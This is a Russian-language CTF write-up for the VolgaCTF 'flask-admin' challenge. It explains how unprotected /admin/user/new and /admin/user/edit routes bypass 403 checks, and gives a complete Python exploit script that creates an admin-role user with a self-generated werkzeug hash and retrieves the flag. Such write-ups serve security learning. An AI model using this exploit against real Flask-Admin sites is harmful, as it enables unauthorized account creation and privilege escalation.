flask-admin writeups

flask-admin writeups

Dmitry K
/


routes.py



Исходник был дан с целью помочь найти уязвимость, строки 22,23 и описание в принципе намекают на то, что уже что-то не то с адресацией


/admin - 403
/admin/ -403
/admin/user -403
/admin/user/ -403
/admin/user/edit - 302 -> /admin/user/ -403
/admin/user/edit/ - 302 -> /admin/user/ -403
/admin/user/edit/?id=1 - 200
/admin/user/new - 200


Как найти /admin/user:

1)По исходникам - самый лучший вариант)
2)Угадать


Было 3 варианта как найти /admin/user/new и /admin/user/edit?id=1:

1) Брутфорсить

2) Поднять у себя тестовый стенд

3) Найти роуты где-нибудь в интернете


Далее если эксплуатировать /admin/new тогда просто создаем новый аккаунт, c использованием готового окна, единственное, нужно было самому сгенерировать hash


>>> from werkzeug.security import generate_password_hash
>>> generate_password_hash('hacker')
'pbkdf2:sha256:150000$1IeMGUAq$0ac5f4b180ae2d82d5d5102c9a910c2e70bd09d501e4dfc09790d2ea0c02182c'


Как определить тип хеша

1) чекнуть на /admin/user/edit?id=1

2) используется библиотка werkzeug, во многих руководствах, книгах используют её для создания аутентификации


/admin/user/new


Далее проходим аутентификацию через /login c cозданным аккаунтом hacker:hacker и получаем флаг на /

end
import requests
from werkzeug.security import generate_password_hash
import re

def get_csrf(s,url):
   resp = s.get(url).text
   regex = r'<input\sid="csrf_token"\sname="csrf_token"\stype="hidden"\svalue="(.*?)">'
   return re.findall(regex, resp)[-1]

def get_flag(s):
   flag_url = host + '/'
   answ = s.get(flag_url).text
   flag = re.findall('VolgaCTF{.+?}', answ)[-1]
   return flag

def authN(s, auth_url, user, password):
   data = {'csrf_token': get_csrf(s, auth_url),
           'username': user,
           'password': password,
           'submit': "Sign In"
           }
   resp = s.post(auth_url, data=data)

def create_mulicious_user(s, email, username, password):
   url = host+'/admin/user/new/'
   s.get(url)
   files = {'email': (None, email), 'username': (None, username),
            'password_hash': (None, generate_password_hash(password)), 'role': (None, '2')}
   x = s.post(url, files=files)
   return True

host = 'http://localhost:5000'
def hack():
   with requests.Session() as s:
       #s.proxies.update({'http':'http://127.0.0.1:8080'})
       email = 'hacker@volgactf.ru'
       username = 'hacker'
       password = 'hacker'
       create_mulicious_user(s, email, username, password)
       authN(s,host+'/login', username, password)
       print(get_flag(s))



if __name__ == '__main__':
   hack()




Report Page